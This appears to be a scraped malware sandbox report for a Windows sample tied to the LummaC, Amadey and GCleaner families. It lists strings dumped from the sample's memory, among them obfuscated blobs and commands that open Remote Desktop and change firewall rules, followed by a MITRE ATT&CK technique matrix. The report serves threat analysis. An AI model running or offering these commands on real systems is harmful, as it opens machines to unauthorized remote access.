vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 00000002.00000002.1022071947.0000000000571000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000002.00000002.1022071947.0000000000571000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 00000003.00000003.1066544935.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000003.00000003.1066544935.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	238 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	412 Process Injection	13 Software Packing	NTDS	991 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	461 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	461 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	412 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AaxpYFDQ32.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Threatname: GCleaner

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
AaxpYFDQ32.exe